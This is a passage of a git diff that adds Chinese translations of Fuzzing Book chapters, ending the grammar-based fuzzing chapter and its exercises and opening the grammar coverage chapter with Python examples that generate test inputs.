<g class="edge" id="edge21"><title>20->21</title></g> <g class="node" id="node23"><title>22</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="352" y="-3.8">6</text></g> <g class="edge" id="edge22"><title>21->22</title></g></g></svg>
+
+```py
+f = GrammarFuzzer(CGI_GRAMMAR, min_nonterminals=3, max_nonterminals=5)
+f.fuzz()
+
+```
+
+```py
+'c%2b%f2'
+
+```
+
+```py
+display_tree(f.derivation_tree)
+
+```
+
+<svg height="380pt" viewBox="0.00 0.00 341.00 380.00" width="341pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 376)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="73" y="-360.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="73" y="-309.8"><string></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="41" y="-258.8"><letter></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="106" y="-258.8"><string></text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="41" y="-207.8"><other></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="41" y="-156.8">c</text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="105" y="-207.8"><letter></text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="172" y="-207.8"><string></text></g> <g class="edge" id="edge13"><title>5->13</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="101" y="-156.8"><percent></text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="6" y="-105.8">%</text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="61" y="-105.8"><hexdigit></text></g> <g class="edge" id="edge9"><title>7->9</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="141" y="-105.8"><hexdigit></text></g> <g class="edge" id="edge11"><title>7->11</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="61" y="-54.8">2</text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="139" y="-54.8">b</text></g> <g class="edge" id="edge12"><title>11->12</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="176" y="-156.8"><letter></text></g> <g class="edge" id="edge14"><title>13->14</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="221" y="-105.8"><percent></text></g> <g class="edge" id="edge15"><title>14->15</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167" y="-54.8">%</text></g> <g class="edge" id="edge16"><title>15->16</title></g> <g class="node" id="node18"><title>17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="222" y="-54.8"><hexdigit></text></g> <g class="edge" id="edge17"><title>15->17</title></g> <g class="node" id="node20"><title>19</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="302" y="-54.8"><hexdigit></text></g> <g class="edge" id="edge19"><title>15->19</title></g> <g class="node" id="node19"><title>18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="222" y="-3.8">f</text></g> <g class="edge" id="edge18"><title>17->18</title></g> <g class="node" id="node21"><title>20</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="302" y="-3.8">2</text></g> <g class="edge" id="edge20"><title>19->20</title></g></g></svg>
+
+我们如何对抗`simple_grammar_fuzzer()`？
+
+```py
+trials = 50
+xs = []
+ys = []
+f = GrammarFuzzer(EXPR_GRAMMAR, max_nonterminals=20)
+for i in range(trials):
+    with Timer() as t:
+        s = f.fuzz()
+    xs.append(len(s))
+    ys.append(t.elapsed_time())
+    print(i, end=" ")
+print()
+
+```
+
+```py
+0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 
+
+```
+
+```py
+average_time = sum(ys) / trials
+print("Average time:", average_time)
+
+```
+
+```py
+Average time: 0.05556378066001343
+
+```
+
+```py
+%matplotlib inline
+
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+plt.scatter(xs, ys)
+plt.title('Time required for generating an output')
+
+```
+
+```py
+Text(0.5,1,'Time required for generating an output')
+
+```
+
+![](data:image/png;base64,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
+)
+
+我们的测试生成速度要快得多，但输入的内容也要小得多。 我们看到，使用派生树，我们可以更好地控制语法产生。
+
+最后，在`simple_grammar_fuzzer()`失败的情况下`GrammarFuzzer`如何与`expr_grammar`一起工作？ 它可以正常工作：
+
+```py
+f = GrammarFuzzer(expr_grammar, max_nonterminals=10)
+f.fuzz()
+
+```
+
+```py
+'((1 + 9) / 2 * 2 / 7 * 3 - 3.1 / 4) * -0'
+
+```
+
+有了`GrammarFuzzer`，我们现在有了坚实的基础，可以在此基础上构建更多的模糊测试器，并从生成软件测试的世界中说明更多令人兴奋的概念。 其中许多甚至不需要编写语法-而是*从当前域中推断*语法，因此即使不编写语法也可以使用基于语法的模糊测试。 敬请关注！
+
+## 经验教训
+
+*   *派生树*对于表达输入结构很重要
+*   *基于派生树的语法模糊处理*
+    1.  比基于字符串的语法模糊测试效率更高，
+    2.  更好地控制输入生成，并且
+    3.  有效避免遇到无限扩展。
+
+## 后续步骤
+
+恭喜你！ 您已经达到本书的中心“枢纽”之一。 从这里开始，有大量基于语法模糊的技术。
+
+### 扩展语法
+
+首先，我们有许多技术可以使所有*以某种形式扩展*语法：
+
+*   [解析和重新组合输入](Parser.html)允许使用现有输入，再次使用派生树
+*   [覆盖语法扩展](GrammarCoverageFuzzer.html)允许*组合*覆盖
+*   [将*概率*分配给各个扩展](ProbabilisticGrammarFuzzer.html)可对扩展进行额外控制
+*   [将*约束*分配给单个扩展](GeneratorGrammarFuzzer.html)允许在单个规则上表达*语义约束*。
+
+### 应用语法
+
+其次，我们可以*在各种涉及自动学习某种形式的上下文中应用*语法：
+
+*   [模糊化API](APIFuzzer.html) ，从API学习语法
+*   [模糊化图形用户界面](WebFuzzer.html)，从用户界面中学习语法以进行后续模糊测试
+*   [挖掘语法](GrammarMiner.html)，学习任意输入格式的语法
+
+继续扩大！
+
+## 背景
+
+派生树（通常称为*解析树*）是一种标准数据结构，*解析器*将其分解为输入。 *龙书*（也称为*编译器：原理，技术和工具*）[ [Aho *等人*，2006。](https://www.pearson.com/us/higher-education/program/Aho-Compilers-Principles-Techniques-and-Tools-2nd-Edition/PGM167067.html)讨论了解析。 进入派生树作为编译程序的一部分。 在解析和重组输入时，我们也使用派生树[。](Parser.html)
+
+本章的主要思想，即扩展到达到符号的限制，然后总是选择最短的路径，源于Luke [ [Luke *等人*，2000。](https://doi.org/10.1109/4235.873237)]。
+
+## 练习
+
+### 练习1：缓存方法结果
+
+跟踪`GrammarFuzzer`表明，某些方法总是以相同的值反复调用。
+
+用*缓存*设置类`FasterGrammarFuzzer`，该类检查该方法是否之前已被调用，如果已调用过，则返回先前计算的“记忆”值。 对`expansion_to_children()`执行此操作。 比较优化前后的调用次数。
+
+**重要**：对于`expansion_to_children()`，请确保返回的每个列表都是一个单独的副本。 如果返回相同（缓存的）列表，则将干扰`GrammarFuzzer`的就地修改。 为此，请使用Python `copy.deepcopy()`函数。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/GrammarFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：语法预编译
+
+某些方法（例如`symbol_cost()`或`expansion_cost()`）返回的值仅取决于语法。 设置一个`EvenFasterGrammarFuzzer()`类，该类在初始化时会预先计算一次这些值，以便以后`symbol_cost()`或`expansion_cost()`的调用仅需要查找这些值。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/GrammarFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习3：维护要扩展的树
+
+在`expand_tree_once()`中，该算法一次又一次遍历树以查找仍可以扩展的非终结点。 通过在树中保留一系列仍可以扩展的非终止符号来加快处理速度。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/GrammarFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习4：备用随机扩展
+
+我们可以定义`expand_node_randomly()`使其仅调用`expand_node_by_cost(node, random.choice)`：
+
+```py
+class ExerciseGrammarFuzzer(GrammarFuzzer):
+    def expand_node_randomly(self, node):
+        if self.log:
+            print("Expanding", all_terminals(node), "randomly by cost")
+
+        return self.expand_node_by_cost(node, random.choice)
+
+```
+
+原始实施和此替代之间有什么区别？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/GrammarFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/17.md b/new/fuzzing-book-zh/17.md
new file mode 100644
index 0000000000000000000000000000000000000000..97f70c5886122e4d20c5193df5d4a7fd3e0d1304
--- /dev/null
+++ b/new/fuzzing-book-zh/17.md
@@ -0,0 +1,1566 @@
+# 语法覆盖率
+
+> 原文： [https://www.fuzzingbook.org/html/GrammarCoverageFuzzer.html](https://www.fuzzingbook.org/html/GrammarCoverageFuzzer.html)
+
+[从语法](GrammarFuzzer.html)中产生输入时，规则的所有可能扩展都具有相同的可能性。 然而，对于产生一个全面的测试套件，使*品种*最大化是更有意义的-例如，不要一遍又一遍地重复相同的扩展。 在本章中，我们探索如何系统地*覆盖语法的*元素，以使我们最大限度地提高多样性并且不会漏掉单个元素。
+
+**前提条件**
+
+*   您应该阅读语法的[一章。](Grammars.html)
+*   您应该已经阅读[关于有效语法模糊](GrammarFuzzer.html)的章节。
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.GrammarCoverageFuzzer](GrammarCoverageFuzzer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章介绍`GrammarCoverageFuzzer`，这是一种有效的语法模糊器，它是从[这一章中对有效语法模糊](GrammarFuzzer.html)进行扩展的。 它努力至少覆盖一次所有扩展。 例如，在下面的示例中，区号中的所有数字都不同，行号中的数字也都不同：
+
+```py
+>>> from [Grammars](Grammars.html) import US_PHONE_GRAMMAR
+>>> phone_fuzzer = GrammarCoverageFuzzer(US_PHONE_GRAMMAR)
+>>> phone_fuzzer.fuzz()
+'(521)383-0695'
+
+```
+
+模糊处理后，`expansion_coverage()`方法返回所涵盖的语法扩展的映射。
+
+```py
+>>> phone_fuzzer.expansion_coverage()
+{'<area> -> <lead-digit><digit><digit>',
+ '<digit> -> 0',
+ '<digit> -> 1',
+ '<digit> -> 2',
+ '<digit> -> 3',
+ '<digit> -> 5',
+ '<digit> -> 6',
+ '<digit> -> 8',
+ '<digit> -> 9',
+ '<exchange> -> <lead-digit><digit><digit>',
+ '<lead-digit> -> 3',
+ '<lead-digit> -> 5',
+ '<line> -> <digit><digit><digit><digit>',
+ '<phone-number> -> (<area>)<exchange>-<line>',
+ '<start> -> <phone-number>'}
+
+```
+
+随后对`fuzz()`的呼叫将进一步覆盖（例如，覆盖其他区号）。 重新调用`reset()`会清除记录的覆盖范围。
+
+由于输入中的此类覆盖范围还会产生更高的代码覆盖范围，因此`GrammarCoverageFuzzer`是`GrammarFuzzer`的推荐扩展。
